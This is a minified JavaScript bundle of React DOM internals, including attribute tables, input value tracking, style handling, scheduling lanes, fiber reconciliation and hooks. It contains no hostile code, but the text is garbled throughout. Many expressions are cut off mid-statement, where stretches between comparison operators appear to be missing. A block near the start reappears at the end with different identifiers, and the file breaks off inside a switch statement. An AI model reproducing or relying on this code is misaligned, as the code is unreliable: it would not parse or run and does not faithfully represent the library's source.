j=v.hasOwnProperty(d)?v[d]:null;(j!==null?j.type!==0:x||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),u=Object.prototype.hasOwnProperty,h=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,f={},m={};function g(l){return u.call(m,l)?!0:u.call(f,l)?!1:h.test(l)?m[l]=!0:(f[l]=!0,!1)}function y(l,d,p,x){if(p!==null&&p.type===0)return!1;switch(typeof d){case"function":case"symbol":return!0;case"boolean":return x?!1:p!==null?!p.acceptsBooleans:(l=l.toLowerCase().slice(0,5),l!=="data-"&&l!=="aria-");default:return!1}}function N(l,d,p,x){if(d===null||typeof d>"u"||y(l,d,p,x))return!0;if(x)return!1;if(p!==null)switch(p.type){case 3:return!d;case 4:return d===!1;case 5:return isNaN(d);case 6:return isNaN(d)||1>d}return!1}function w(l,d,p,x,j,S,A){this.acceptsBooleans=d===2||d===3||d===4,this.attributeName=x,this.attributeNamespace=j,this.mustUseProperty=p,this.propertyName=l,this.type=d,this.sanitizeURL=S,this.removeEmptyString=A}var v={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(l){v[l]=new w(l,0,!1,l,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(l){var d=l[0];v[d]=new w(d,1,!1,l[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(l){v[l]=new w(l,2,!1,l.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(l){v[l]=new w(l,2,!1,l,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(l){v[l]=new w(l,3,!1,l.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(l){v[l]=new w(l,3,!0,l,null,!1,!1)}),["capture","download"].forEach(function(l){v[l]=new w(l,4,!1,l,null,!1,!1)}),["cols","rows","size","span"].forEach(function(l){v[l]=new w(l,6,!1,l,null,!1,!1)}),["rowSpan","start"].forEach(function(l){v[l]=new w(l,5,!1,l.toLowerCase(),null,!1,!1)});var k=/[\-:]([a-z])/g;function C(l){return l[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(l){var d=l.replace(k,C);v[d]=new w(d,1,!1,l,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!1,!1)}),v.xlinkHref=new w("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(l){v[l]=new w(l,1,!1,l.toLowerCase(),null,!0,!0)});function E(l,d,p,x){var j=v.hasOwnProperty(d)?v[d]:null;(j!==null?j.type!==0:x||!(2F||j[A]!==S[F]){var G=` -`+j[A].replace(" at new "," at ");return l.displayName&&G.includes("")&&(G=G.replace("",l.displayName)),G}while(1<=A&&0<=F);break}}}finally{le=!1,Error.prepareStackTrace=p}return(l=l?l.displayName||l.name:"")?U(l):""}function Y(l){switch(l.tag){case 5:return U(l.type);case 16:return U("Lazy");case 13:return U("Suspense");case 19:return U("SuspenseList");case 0:case 2:case 15:return l=J(l.type,!1),l;case 11:return l=J(l.type.render,!1),l;case 1:return l=J(l.type,!0),l;default:return""}}function B(l){if(l==null)return null;if(typeof l=="function")return l.displayName||l.name||null;if(typeof l=="string")return l;switch(l){case L:return"Fragment";case O:return"Portal";case D:return"Profiler";case R:return"StrictMode";case fe:return"Suspense";case xe:return"SuspenseList"}if(typeof l=="object")switch(l.$$typeof){case Z:return(l.displayName||"Context")+".Consumer";case _:return(l._context.displayName||"Context")+".Provider";case ne:var d=l.render;return l=l.displayName,l||(l=d.displayName||d.name||"",l=l!==""?"ForwardRef("+l+")":"ForwardRef"),l;case $:return d=l.displayName||null,d!==null?d:B(l.type)||"Memo";case H:d=l._payload,l=l._init;try{return B(l(d))}catch{}}return null}function re(l){var d=l.type;switch(l.tag){case 24:return"Cache";case 9:return(d.displayName||"Context")+".Consumer";case 10:return(d._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return l=d.render,l=l.displayName||l.name||"",d.displayName||(l!==""?"ForwardRef("+l+")":"ForwardRef");case 7:return"Fragment";case 5:return d;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return B(d);case 8:return d===R?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof d=="function")return d.displayName||d.name||null;if(typeof d=="string")return d}return null}function ue(l){switch(typeof l){case"boolean":case"number":case"string":case"undefined":return l;case"object":return l;default:return""}}function ce(l){var d=l.type;return(l=l.nodeName)&&l.toLowerCase()==="input"&&(d==="checkbox"||d==="radio")}function ye(l){var d=ce(l)?"checked":"value",p=Object.getOwnPropertyDescriptor(l.constructor.prototype,d),x=""+l[d];if(!l.hasOwnProperty(d)&&typeof p<"u"&&typeof p.get=="function"&&typeof p.set=="function"){var j=p.get,S=p.set;return Object.defineProperty(l,d,{configurable:!0,get:function(){return j.call(this)},set:function(A){x=""+A,S.call(this,A)}}),Object.defineProperty(l,d,{enumerable:p.enumerable}),{getValue:function(){return x},setValue:function(A){x=""+A},stopTracking:function(){l._valueTracker=null,delete l[d]}}}}function Re(l){l._valueTracker||(l._valueTracker=ye(l))}function Le(l){if(!l)return!1;var d=l._valueTracker;if(!d)return!0;var p=d.getValue(),x="";return l&&(x=ce(l)?l.checked?"true":"false":l.value),l=x,l!==p?(d.setValue(l),!0):!1}function lt(l){if(l=l||(typeof document<"u"?document:void 0),typeof l>"u")return null;try{return l.activeElement||l.body}catch{return l.body}}function Tt(l,d){var p=d.checked;return V({},d,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:p??l._wrapperState.initialChecked})}function ln(l,d){var p=d.defaultValue==null?"":d.defaultValue,x=d.checked!=null?d.checked:d.defaultChecked;p=ue(d.value!=null?d.value:p),l._wrapperState={initialChecked:x,initialValue:p,controlled:d.type==="checkbox"||d.type==="radio"?d.checked!=null:d.value!=null}}function yt(l,d){d=d.checked,d!=null&&E(l,"checked",d,!1)}function nn(l,d){yt(l,d);var p=ue(d.value),x=d.type;if(p!=null)x==="number"?(p===0&&l.value===""||l.value!=p)&&(l.value=""+p):l.value!==""+p&&(l.value=""+p);else if(x==="submit"||x==="reset"){l.removeAttribute("value");return}d.hasOwnProperty("value")?Mt(l,d.type,p):d.hasOwnProperty("defaultValue")&&Mt(l,d.type,ue(d.defaultValue)),d.checked==null&&d.defaultChecked!=null&&(l.defaultChecked=!!d.defaultChecked)}function In(l,d,p){if(d.hasOwnProperty("value")||d.hasOwnProperty("defaultValue")){var x=d.type;if(!(x!=="submit"&&x!=="reset"||d.value!==void 0&&d.value!==null))return;d=""+l._wrapperState.initialValue,p||d===l.value||(l.value=d),l.defaultValue=d}p=l.name,p!==""&&(l.name=""),l.defaultChecked=!!l._wrapperState.initialChecked,p!==""&&(l.name=p)}function Mt(l,d,p){(d!=="number"||lt(l.ownerDocument)!==l)&&(p==null?l.defaultValue=""+l._wrapperState.initialValue:l.defaultValue!==""+p&&(l.defaultValue=""+p))}var Yt=Array.isArray;function rn(l,d,p,x){if(l=l.options,d){d={};for(var j=0;j"+d.valueOf().toString()+"",d=Je.firstChild;l.firstChild;)l.removeChild(l.firstChild);for(;d.firstChild;)l.appendChild(d.firstChild)}});function ct(l,d){if(d){var p=l.firstChild;if(p&&p===l.lastChild&&p.nodeType===3){p.nodeValue=d;return}}l.textContent=d}var nt={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},gt=["Webkit","ms","Moz","O"];Object.keys(nt).forEach(function(l){gt.forEach(function(d){d=d+l.charAt(0).toUpperCase()+l.substring(1),nt[d]=nt[l]})});function Rt(l,d,p){return d==null||typeof d=="boolean"||d===""?"":p||typeof d!="number"||d===0||nt.hasOwnProperty(l)&&nt[l]?(""+d).trim():d+"px"}function gn(l,d){l=l.style;for(var p in d)if(d.hasOwnProperty(p)){var x=p.indexOf("--")===0,j=Rt(p,d[p],x);p==="float"&&(p="cssFloat"),x?l.setProperty(p,j):l[p]=j}}var mr=V({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function wr(l,d){if(d){if(mr[l]&&(d.children!=null||d.dangerouslySetInnerHTML!=null))throw Error(n(137,l));if(d.dangerouslySetInnerHTML!=null){if(d.children!=null)throw Error(n(60));if(typeof d.dangerouslySetInnerHTML!="object"||!("__html"in d.dangerouslySetInnerHTML))throw Error(n(61))}if(d.style!=null&&typeof d.style!="object")throw Error(n(62))}}function As(l,d){if(l.indexOf("-")===-1)return typeof d.is=="string";switch(l){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Wr=null;function Is(l){return l=l.target||l.srcElement||window,l.correspondingUseElement&&(l=l.correspondingUseElement),l.nodeType===3?l.parentNode:l}var pe=null,ge=null,Pt=null;function On(l){if(l=cc(l)){if(typeof pe!="function")throw Error(n(280));var d=l.stateNode;d&&(d=$d(d),pe(l.stateNode,l.type,d))}}function Qs(l){ge?Pt?Pt.push(l):Pt=[l]:ge=l}function Xs(){if(ge){var l=ge,d=Pt;if(Pt=ge=null,On(l),d)for(l=0;l>>=0,l===0?32:31-(Nn(l)/gr|0)|0}var Qt=64,Un=4194304;function ps(l){switch(l&-l){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return l&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return l&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return l}}function Os(l,d){var p=l.pendingLanes;if(p===0)return 0;var x=0,j=l.suspendedLanes,S=l.pingedLanes,A=p&268435455;if(A!==0){var F=A&~j;F!==0?x=ps(F):(S&=A,S!==0&&(x=ps(S)))}else A=p&~j,A!==0?x=ps(A):S!==0&&(x=ps(S));if(x===0)return 0;if(d!==0&&d!==x&&(d&j)===0&&(j=x&-x,S=d&-d,j>=S||j===16&&(S&4194240)!==0))return d;if((x&4)!==0&&(x|=p&16),d=l.entangledLanes,d!==0)for(l=l.entanglements,d&=x;0p;p++)d.push(l);return d}function zi(l,d,p){l.pendingLanes|=d,d!==536870912&&(l.suspendedLanes=0,l.pingedLanes=0),l=l.eventTimes,d=31-Ge(d),l[d]=p}function kd(l,d){var p=l.pendingLanes&~d;l.pendingLanes=d,l.suspendedLanes=0,l.pingedLanes=0,l.expiredLanes&=d,l.mutableReadLanes&=d,l.entangledLanes&=d,d=l.entanglements;var x=l.eventTimes;for(l=l.expirationTimes;0=ec),hy=" ",fy=!1;function py(l,d){switch(l){case"keyup":return p3.indexOf(d.keyCode)!==-1;case"keydown":return d.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function my(l){return l=l.detail,typeof l=="object"&&"data"in l?l.data:null}var _o=!1;function g3(l,d){switch(l){case"compositionend":return my(d);case"keypress":return d.which!==32?null:(fy=!0,hy);case"textInput":return l=d.data,l===hy&&fy?null:l;default:return null}}function x3(l,d){if(_o)return l==="compositionend"||!ep&&py(l,d)?(l=iy(),Td=Gf=Da=null,_o=!1,l):null;switch(l){case"paste":return null;case"keypress":if(!(d.ctrlKey||d.altKey||d.metaKey)||d.ctrlKey&&d.altKey){if(d.char&&1=d)return{node:p,offset:d-l};l=x}e:{for(;p;){if(p.nextSibling){p=p.nextSibling;break e}p=p.parentNode}p=void 0}p=wy(p)}}function ky(l,d){return l&&d?l===d?!0:l&&l.nodeType===3?!1:d&&d.nodeType===3?ky(l,d.parentNode):"contains"in l?l.contains(d):l.compareDocumentPosition?!!(l.compareDocumentPosition(d)&16):!1:!1}function Sy(){for(var l=window,d=lt();d instanceof l.HTMLIFrameElement;){try{var p=typeof d.contentWindow.location.href=="string"}catch{p=!1}if(p)l=d.contentWindow;else break;d=lt(l.document)}return d}function rp(l){var d=l&&l.nodeName&&l.nodeName.toLowerCase();return d&&(d==="input"&&(l.type==="text"||l.type==="search"||l.type==="tel"||l.type==="url"||l.type==="password")||d==="textarea"||l.contentEditable==="true")}function C3(l){var d=Sy(),p=l.focusedElem,x=l.selectionRange;if(d!==p&&p&&p.ownerDocument&&ky(p.ownerDocument.documentElement,p)){if(x!==null&&rp(p)){if(d=x.start,l=x.end,l===void 0&&(l=d),"selectionStart"in p)p.selectionStart=d,p.selectionEnd=Math.min(l,p.value.length);else if(l=(d=p.ownerDocument||document)&&d.defaultView||window,l.getSelection){l=l.getSelection();var j=p.textContent.length,S=Math.min(x.start,j);x=x.end===void 0?S:Math.min(x.end,j),!l.extend&&S>x&&(j=x,x=S,S=j),j=jy(p,S);var A=jy(p,x);j&&A&&(l.rangeCount!==1||l.anchorNode!==j.node||l.anchorOffset!==j.offset||l.focusNode!==A.node||l.focusOffset!==A.offset)&&(d=d.createRange(),d.setStart(j.node,j.offset),l.removeAllRanges(),S>x?(l.addRange(d),l.extend(A.node,A.offset)):(d.setEnd(A.node,A.offset),l.addRange(d)))}}for(d=[],l=p;l=l.parentNode;)l.nodeType===1&&d.push({element:l,left:l.scrollLeft,top:l.scrollTop});for(typeof p.focus=="function"&&p.focus(),p=0;p=document.documentMode,zo=null,sp=null,sc=null,ap=!1;function Cy(l,d,p){var x=p.window===p?p.document:p.nodeType===9?p:p.ownerDocument;ap||zo==null||zo!==lt(x)||(x=zo,"selectionStart"in x&&rp(x)?x={start:x.selectionStart,end:x.selectionEnd}:(x=(x.ownerDocument&&x.ownerDocument.defaultView||window).getSelection(),x={anchorNode:x.anchorNode,anchorOffset:x.anchorOffset,focusNode:x.focusNode,focusOffset:x.focusOffset}),sc&&rc(sc,x)||(sc=x,x=Ld(sp,"onSelect"),0Ho||(l.current=xp[Ho],xp[Ho]=null,Ho--)}function Vt(l,d){Ho++,xp[Ho]=l.current,l.current=d}var $a={},tr=za($a),jr=za(!1),Vi=$a;function Wo(l,d){var p=l.type.contextTypes;if(!p)return $a;var x=l.stateNode;if(x&&x.__reactInternalMemoizedUnmaskedChildContext===d)return x.__reactInternalMemoizedMaskedChildContext;var j={},S;for(S in p)j[S]=d[S];return x&&(l=l.stateNode,l.__reactInternalMemoizedUnmaskedChildContext=d,l.__reactInternalMemoizedMaskedChildContext=j),j}function kr(l){return l=l.childContextTypes,l!=null}function Fd(){Gt(jr),Gt(tr)}function By(l,d,p){if(tr.current!==$a)throw Error(n(168));Vt(tr,d),Vt(jr,p)}function Vy(l,d,p){var x=l.stateNode;if(d=d.childContextTypes,typeof x.getChildContext!="function")return p;x=x.getChildContext();for(var j in x)if(!(j in d))throw Error(n(108,re(l)||"Unknown",j));return V({},p,x)}function Bd(l){return l=(l=l.stateNode)&&l.__reactInternalMemoizedMergedChildContext||$a,Vi=tr.current,Vt(tr,l),Vt(jr,jr.current),!0}function Hy(l,d,p){var x=l.stateNode;if(!x)throw Error(n(169));p?(l=Vy(l,d,Vi),x.__reactInternalMemoizedMergedChildContext=l,Gt(jr),Gt(tr),Vt(tr,l)):Gt(jr),Vt(jr,p)}var sa=null,Vd=!1,yp=!1;function Wy(l){sa===null?sa=[l]:sa.push(l)}function z3(l){Vd=!0,Wy(l)}function Fa(){if(!yp&&sa!==null){yp=!0;var l=0,d=Nt;try{var p=sa;for(Nt=1;l>=A,j-=A,aa=1<<32-Ge(d)+j|p<at?($n=tt,tt=null):$n=tt.sibling;var wt=we(ae,tt,de[at],Ae);if(wt===null){tt===null&&(tt=$n);break}l&&tt&&wt.alternate===null&&d(ae,tt),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt,tt=$n}if(at===de.length)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;atat?($n=tt,tt=null):$n=tt.sibling;var Ja=we(ae,tt,wt.value,Ae);if(Ja===null){tt===null&&(tt=$n);break}l&&tt&&Ja.alternate===null&&d(ae,tt),ee=S(Ja,ee,at),et===null?He=Ja:et.sibling=Ja,et=Ja,tt=$n}if(wt.done)return p(ae,tt),Xt&&Wi(ae,at),He;if(tt===null){for(;!wt.done;at++,wt=de.next())wt=Se(ae,wt.value,Ae),wt!==null&&(ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return Xt&&Wi(ae,at),He}for(tt=x(ae,tt);!wt.done;at++,wt=de.next())wt=Oe(tt,ae,at,wt.value,Ae),wt!==null&&(l&&wt.alternate!==null&&tt.delete(wt.key===null?at:wt.key),ee=S(wt,ee,at),et===null?He=wt:et.sibling=wt,et=wt);return l&&tt.forEach(function(yE){return d(ae,yE)}),Xt&&Wi(ae,at),He}function yn(ae,ee,de,Ae){if(typeof de=="object"&&de!==null&&de.type===L&&de.key===null&&(de=de.props.children),typeof de=="object"&&de!==null){switch(de.$$typeof){case I:e:{for(var He=de.key,et=ee;et!==null;){if(et.key===He){if(He=de.type,He===L){if(et.tag===7){p(ae,et.sibling),ee=j(et,de.props.children),ee.return=ae,ae=ee;break e}}else if(et.elementType===He||typeof He=="object"&&He!==null&&He.$$typeof===H&&Yy(He)===et.type){p(ae,et.sibling),ee=j(et,de.props),ee.ref=dc(ae,et,de),ee.return=ae,ae=ee;break e}p(ae,et);break}else d(ae,et);et=et.sibling}de.type===L?(ee=Xi(de.props.children,ae.mode,Ae,de.key),ee.return=ae,ae=ee):(Ae=gu(de.type,de.key,de.props,null,ae.mode,Ae),Ae.ref=dc(ae,ee,de),Ae.return=ae,ae=Ae)}return A(ae);case O:e:{for(et=de.key;ee!==null;){if(ee.key===et)if(ee.tag===4&&ee.stateNode.containerInfo===de.containerInfo&&ee.stateNode.implementation===de.implementation){p(ae,ee.sibling),ee=j(ee,de.children||[]),ee.return=ae,ae=ee;break e}else{p(ae,ee);break}else d(ae,ee);ee=ee.sibling}ee=mm(de,ae.mode,Ae),ee.return=ae,ae=ee}return A(ae);case H:return et=de._init,yn(ae,ee,et(de._payload),Ae)}if(Yt(de))return ze(ae,ee,de,Ae);if(K(de))return Be(ae,ee,de,Ae);Kd(ae,de)}return typeof de=="string"&&de!==""||typeof de=="number"?(de=""+de,ee!==null&&ee.tag===6?(p(ae,ee.sibling),ee=j(ee,de),ee.return=ae,ae=ee):(p(ae,ee),ee=pm(de,ae.mode,Ae),ee.return=ae,ae=ee),A(ae)):p(ae,ee)}return yn}var Go=Qy(!0),Xy=Qy(!1),qd=za(null),Gd=null,Jo=null,kp=null;function Sp(){kp=Jo=Gd=null}function Cp(l){var d=qd.current;Gt(qd),l._currentValue=d}function Ep(l,d,p){for(;l!==null;){var x=l.alternate;if((l.childLanes&d)!==d?(l.childLanes|=d,x!==null&&(x.childLanes|=d)):x!==null&&(x.childLanes&d)!==d&&(x.childLanes|=d),l===p)break;l=l.return}}function Yo(l,d){Gd=l,kp=Jo=null,l=l.dependencies,l!==null&&l.firstContext!==null&&((l.lanes&d)!==0&&(Sr=!0),l.firstContext=null)}function Xr(l){var d=l._currentValue;if(kp!==l)if(l={context:l,memoizedValue:d,next:null},Jo===null){if(Gd===null)throw Error(n(308));Jo=l,Gd.dependencies={lanes:0,firstContext:l}}else Jo=Jo.next=l;return d}var Ui=null;function Tp(l){Ui===null?Ui=[l]:Ui.push(l)}function Zy(l,d,p,x){var j=d.interleaved;return j===null?(p.next=p,Tp(d)):(p.next=j.next,j.next=p),d.interleaved=p,oa(l,x)}function oa(l,d){l.lanes|=d;var p=l.alternate;for(p!==null&&(p.lanes|=d),p=l,l=l.return;l!==null;)l.childLanes|=d,p=l.alternate,p!==null&&(p.childLanes|=d),p=l,l=l.return;return p.tag===3?p.stateNode:null}var Ba=!1;function Mp(l){l.updateQueue={baseState:l.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function eb(l,d){l=l.updateQueue,d.updateQueue===l&&(d.updateQueue={baseState:l.baseState,firstBaseUpdate:l.firstBaseUpdate,lastBaseUpdate:l.lastBaseUpdate,shared:l.shared,effects:l.effects})}function la(l,d){return{eventTime:l,lane:d,tag:0,payload:null,callback:null,next:null}}function Va(l,d,p){var x=l.updateQueue;if(x===null)return null;if(x=x.shared,(bt&2)!==0){var j=x.pending;return j===null?d.next=d:(d.next=j.next,j.next=d),x.pending=d,oa(l,p)}return j=x.interleaved,j===null?(d.next=d,Tp(x)):(d.next=j.next,j.next=d),x.interleaved=d,oa(l,p)}function Jd(l,d,p){if(d=d.updateQueue,d!==null&&(d=d.shared,(p&4194240)!==0)){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}function tb(l,d){var p=l.updateQueue,x=l.alternate;if(x!==null&&(x=x.updateQueue,p===x)){var j=null,S=null;if(p=p.firstBaseUpdate,p!==null){do{var A={eventTime:p.eventTime,lane:p.lane,tag:p.tag,payload:p.payload,callback:p.callback,next:null};S===null?j=S=A:S=S.next=A,p=p.next}while(p!==null);S===null?j=S=d:S=S.next=d}else j=S=d;p={baseState:x.baseState,firstBaseUpdate:j,lastBaseUpdate:S,shared:x.shared,effects:x.effects},l.updateQueue=p;return}l=p.lastBaseUpdate,l===null?p.firstBaseUpdate=d:l.next=d,p.lastBaseUpdate=d}function Yd(l,d,p,x){var j=l.updateQueue;Ba=!1;var S=j.firstBaseUpdate,A=j.lastBaseUpdate,F=j.shared.pending;if(F!==null){j.shared.pending=null;var G=F,he=G.next;G.next=null,A===null?S=he:A.next=he,A=G;var je=l.alternate;je!==null&&(je=je.updateQueue,F=je.lastBaseUpdate,F!==A&&(F===null?je.firstBaseUpdate=he:F.next=he,je.lastBaseUpdate=G))}if(S!==null){var Se=j.baseState;A=0,je=he=G=null,F=S;do{var we=F.lane,Oe=F.eventTime;if((x&we)===we){je!==null&&(je=je.next={eventTime:Oe,lane:0,tag:F.tag,payload:F.payload,callback:F.callback,next:null});e:{var ze=l,Be=F;switch(we=d,Oe=p,Be.tag){case 1:if(ze=Be.payload,typeof ze=="function"){Se=ze.call(Oe,Se,we);break e}Se=ze;break e;case 3:ze.flags=ze.flags&-65537|128;case 0:if(ze=Be.payload,we=typeof ze=="function"?ze.call(Oe,Se,we):ze,we==null)break e;Se=V({},Se,we);break e;case 2:Ba=!0}}F.callback!==null&&F.lane!==0&&(l.flags|=64,we=j.effects,we===null?j.effects=[F]:we.push(F))}else Oe={eventTime:Oe,lane:we,tag:F.tag,payload:F.payload,callback:F.callback,next:null},je===null?(he=je=Oe,G=Se):je=je.next=Oe,A|=we;if(F=F.next,F===null){if(F=j.shared.pending,F===null)break;we=F,F=we.next,we.next=null,j.lastBaseUpdate=we,j.shared.pending=null}}while(!0);if(je===null&&(G=Se),j.baseState=G,j.firstBaseUpdate=he,j.lastBaseUpdate=je,d=j.shared.interleaved,d!==null){j=d;do A|=j.lane,j=j.next;while(j!==d)}else S===null&&(j.shared.lanes=0);Gi|=A,l.lanes=A,l.memoizedState=Se}}function nb(l,d,p){if(l=d.effects,d.effects=null,l!==null)for(d=0;dp?p:4,l(!0);var x=Op.transition;Op.transition={};try{l(!1),d()}finally{Nt=p,Op.transition=x}}function Nb(){return Zr().memoizedState}function V3(l,d,p){var x=Ka(l);if(p={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null},wb(l))jb(d,p);else if(p=Zy(l,d,p,x),p!==null){var j=yr();Ns(p,l,x,j),kb(p,d,x)}}function H3(l,d,p){var x=Ka(l),j={lane:x,action:p,hasEagerState:!1,eagerState:null,next:null};if(wb(l))jb(d,j);else{var S=l.alternate;if(l.lanes===0&&(S===null||S.lanes===0)&&(S=d.lastRenderedReducer,S!==null))try{var A=d.lastRenderedState,F=S(A,p);if(j.hasEagerState=!0,j.eagerState=F,gs(F,A)){var G=d.interleaved;G===null?(j.next=j,Tp(d)):(j.next=G.next,G.next=j),d.interleaved=j;return}}catch{}finally{}p=Zy(l,d,j,x),p!==null&&(j=yr(),Ns(p,l,x,j),kb(p,d,x))}}function wb(l){var d=l.alternate;return l===an||d!==null&&d===an}function jb(l,d){pc=Zd=!0;var p=l.pending;p===null?d.next=d:(d.next=p.next,p.next=d),l.pending=d}function kb(l,d,p){if((p&4194240)!==0){var x=d.lanes;x&=l.pendingLanes,p|=x,d.lanes=p,$i(l,p)}}var nu={readContext:Xr,useCallback:nr,useContext:nr,useEffect:nr,useImperativeHandle:nr,useInsertionEffect:nr,useLayoutEffect:nr,useMemo:nr,useReducer:nr,useRef:nr,useState:nr,useDebugValue:nr,useDeferredValue:nr,useTransition:nr,useMutableSource:nr,useSyncExternalStore:nr,useId:nr,unstable_isNewReconciler:!1},W3={readContext:Xr,useCallback:function(l,d){return _s().memoizedState=[l,d===void 0?null:d],l},useContext:Xr,useEffect:fb,useImperativeHandle:function(l,d,p){return p=p!=null?p.concat([l]):null,eu(4194308,4,gb.bind(null,d,l),p)},useLayoutEffect:function(l,d){return eu(4194308,4,l,d)},useInsertionEffect:function(l,d){return eu(4,2,l,d)},useMemo:function(l,d){var p=_s();return d=d===void 0?null:d,l=l(),p.memoizedState=[l,d],l},useReducer:function(l,d,p){var x=_s();return d=p!==void 0?p(d):d,x.memoizedState=x.baseState=d,l={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:l,lastRenderedState:d},x.queue=l,l=l.dispatch=V3.bind(null,an,l),[x.memoizedState,l]},useRef:function(l){var d=_s();return l={current:l},d.memoizedState=l},useState:ub,useDebugValue:Bp,useDeferredValue:function(l){return _s().memoizedState=l},useTransition:function(){var l=ub(!1),d=l[0];return l=B3.bind(null,l[1]),_s().memoizedState=l,[d,l]},useMutableSource:function(){},useSyncExternalStore:function(l,d,p){var x=an,j=_s();if(Xt){if(p===void 0)throw Error(n(407));p=p()}else{if(p=d(),zn===null)throw Error(n(349));(qi&30)!==0||ib(x,d,p)}j.memoizedState=p;var S={value:p,getSnapshot:d};return j.queue=S,fb(lb.bind(null,x,S,l),[l]),x.flags|=2048,xc(9,ob.bind(null,x,S,p,d),void 0,null),p},useId:function(){var l=_s(),d=zn.identifierPrefix;if(Xt){var p=ia,x=aa;p=(x&~(1<<32-Ge(x)-1)).toString(32)+p,d=":"+d+"R"+p,p=mc++,0")&&(G=G.replace("",l.displayName)),G}while(1<=A&&0<=F);break}}}finally{le=!1,Error.prepareStackTrace=p}return(l=l?l.displayName||l.name:"")?W(l):""}function Y(l){switch(l.tag){case 5:return W(l.type);case 16:return W("Lazy");case 13:return W("Suspense");case 19:return W("SuspenseList");case 0:case 2:case 15:return l=J(l.type,!1),l;case 11:return l=J(l.type.render,!1),l;case 1:return l=J(l.type,!0),l;default:return""}}function V(l){if(l==null)return null;if(typeof l=="function")return l.displayName||l.name||null;if(typeof l=="string")return l;switch(l){case 